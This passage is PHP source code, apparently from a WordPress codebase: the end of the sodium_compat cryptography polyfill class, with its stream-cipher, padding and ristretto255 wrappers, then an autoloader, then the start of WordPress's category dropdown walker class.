        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string) call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor($message, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string) call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message, $nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }


    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XChaCha20 key
     * @param bool $dontFallback
     * @return string       Pseudorandom stream that can be XORed with messages
     *                      to provide encryption (but not authentication; see
     *                      Poly1305 or crypto_auth() for that, which is not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20($len, $nonce, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len, 'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_STREAM_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20($len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::stream($len, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::stream($len, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor($message, $nonce, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor($message, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not use this feature.
     *
     * Algorithm: XChaCha20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param int $counter
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @param bool $dontFallback
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($counter, 'int', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_STREAM_XCHACHA20_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_SECRETBOX_XCHACHA20_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_STREAM_XCHACHA20_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_SECRETBOX_XCHACHA20_KEYBYTES long.');
        }

        if (is_callable('sodium_crypto_stream_xchacha20_xor_ic') && !$dontFallback) {
            return sodium_crypto_stream_xchacha20_xor_ic($message, $nonce, $counter, $key);
        }

        $ic = ParagonIE_Sodium_Core_Util::store64_le($counter);
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
        }
        return ParagonIE_Sodium_Core_XChaCha20::streamXorIc($message, $nonce, $key, $ic);
    }

    /**
     * Return a secure random key for use with crypto_stream_xchacha20
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_xchacha20_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_XCHACHA20_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @param string $ignore List of characters to ignore; useful for whitespace
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin($string, $ignore = '')
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($ignore, 'string', 2);

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string, $ignore);
            }
        }
        if (self::use_fallback('hex2bin')) {
            return (string) call_user_func('\\Sodium\\hex2bin', $string, $ignore);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string, $ignore);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

    /**
     * @param string $str
     * @return bool
     *
     * @throws SodiumException
     */
    public static function is_zero($str)
    {
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($str[$i]);
        }
        return ((($d - 1) >> 31) & 1) === 1;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback('library_version_major')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() && defined('SODIUM_LIBRARY_MINOR_VERSION')) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback('library_version_minor')) {
            /** @psalm-suppress UndefinedFunction */
            return (int) call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp', $left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It's actually not possible to zero memory buffers in PHP. You need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var, 'string', 1);

        if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and the PHP extension is enabled.'
        );
    }

    /**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad($unpadded, $blockSize, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

        if ($blockSize <= 0) {
            throw new SodiumException(
                'block size cannot be less than 1'
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize & ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len & ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

        $xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat("\0", $xpadded_len - 1);
        if ($unpadded_len > 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j <= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j >= $unpadded_len) {
                    $padded[$j] = "\0";
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k >> 48)
                                        |
                                    ($k >> 32)
                                        |
                                    ($k >> 16)
                                        |
                                    $k
                                ) - 1
                            ) >> 16
                        )
                    ) & 1;
                $i += $st;
            }
        }

        $mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i < $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) * CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE << 3) - 1);
            # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]) & $mask)
                    |
                (0x80 & $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

    /**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad($padded, $blockSize, $dontFallback = false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize, 'int', 2);

        $padded = (string) $padded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize <= 0) {
            throw new SodiumException('block size cannot be less than 1');
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len < $blockSize) {
            throw new SodiumException('invalid padding');
        }

        # tail = &padded[padded_len - 1U];
        $tail = $padded_len - 1;

        $acc = 0;
        $valid = 0;
        $pad_len = 0;

        $found = 0;
        for ($i = 0; $i < $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

            # is_barrier =
            #     (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) - 1U) ) >> 8) & 1U;
            $is_barrier = (
                (
                    ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
                ) >> 7
            ) & 1;
            $is_barrier &= ~$found;
            $found |= $is_barrier;

            # acc |= c;
            $acc |= $c;

            # pad_len |= i & (1U + ~is_barrier);
            $pad_len |= $i & (1 + ~$is_barrier);

            # valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier & 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException('invalid padding');
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0, $unpadded_len);
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($numBytes) . ' given.'
                );
            }
        }
        /** @var positive-int $numBytes */
        if (self::use_fallback('randombytes_buf')) {
            return (string) call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        if ($numBytes < 0) {
            throw new SodiumException("Number of bytes must be a positive integer");
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' . gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int) call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int) call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

    /**
     * @param string $p
     * @param bool $dontFallback
     * @return bool
     * @throws SodiumException
     */
    public static function ristretto255_is_valid_point($p, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_is_valid_point($p);
        }
        try {
            $r = ParagonIE_Sodium_Core_Ristretto255::ristretto255_frombytes($p);
            return $r['res'] === 0 &&
                ParagonIE_Sodium_Core_Ristretto255::ristretto255_point_is_canonical($p) === 1;
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'S is not canonical') {
                return false;
            }
            throw $ex;
        }
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_add($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_add($p, $q);
    }

    /**
     * @param string $p
     * @param string $q
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_sub($p, $q);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_sub($p, $q);
    }

    /**
     * @param string $r
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($r, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_from_hash($r);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_from_hash($r);
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_random();
    }

    /**
     * @param bool $dontFallback
     * @return string
     *
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random($dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_random();
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_random();
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_invert($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_invert($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_invert($s);
    }
    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_negate($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_negate($s);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_complement($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_complement($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_add($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_add($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_sub($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_sub($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_mul($x, $y, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_mul($x, $y);
        }
        return ParagonIE_Sodium_Core_Ristretto255::ristretto255_scalar_mul($x, $y);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255($n, $p);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255($n, $p);
    }

    /**
     * @param string $n
     * @param string $p
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_scalarmult_ristretto255_base($n);
        }
        return ParagonIE_Sodium_Core_Ristretto255::scalarmult_ristretto255_base($n);
    }

    /**
     * @param string $s
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_reduce($s, $dontFallback = false)
    {
        if (self::useNewSodiumAPI() && !$dontFallback) {
            return sodium_crypto_core_ristretto255_scalar_reduce($s);
        }
        return ParagonIE_Sodium_Core_Ristretto255::sc_reduce($s);
    }

    /**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we're fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
        for ($i = 0; $i < $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1 << 16));
            $a->mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff < $maxTimeout;
    }

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function sub(&$val, $addv)
    {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c = ($A[$i] - $B[$i] - $c);
            $A[$i] = ($c & 0xff);
            $c = ($c >> 8) & 1;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * This emulates libsodium's version_string() function, except ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string) call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name = '')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') && PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 && extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
<?php
/*
 This file should only ever be loaded on PHP 7+
 */
if (PHP_VERSION_ID < 70000) {
    return;
}

spl_autoload_register(function ($class) {
    $namespace = 'ParagonIE_Sodium_';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace namespace
    // separators with directory separators in the relative class name, append
    // with .php
    $file = dirname(__FILE__) . '/src/' . str_replace('_', '/', $relative_class) . '.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
<?php
/**
 * Taxonomy API: Walker_CategoryDropdown class
 *
 * @package WordPress
 * @subpackage Template
 * @since 4.4.0
 */

/**
 * Core class used to create an HTML dropdown list of Categories.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_CategoryDropdown extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'category';

	/**
	 * Database fields to use.
	 *
	 * @since 2.1.0
	 * @todo Decouple this
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 */
	public $db_fields = array(
		'parent' => 'parent',
		'id'     => 'term_id',
	);

	/**
	 * Starts the element output.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::start_el()
	 *
	 * @param string  $output            Used to append additional content (passed by reference).
	 * @param WP_Term $data_object       Category data object.
	 * @param int     $depth             Depth of category. Used for padding.
	 * @param array   $args              Uses 'selected', 'show_count', and 'value_field' keys, if they exist.
	 *                                   See wp_dropdown_categories().
	 * @param int     $current_object_id Optional. ID of the current category. Default 0.
	 */
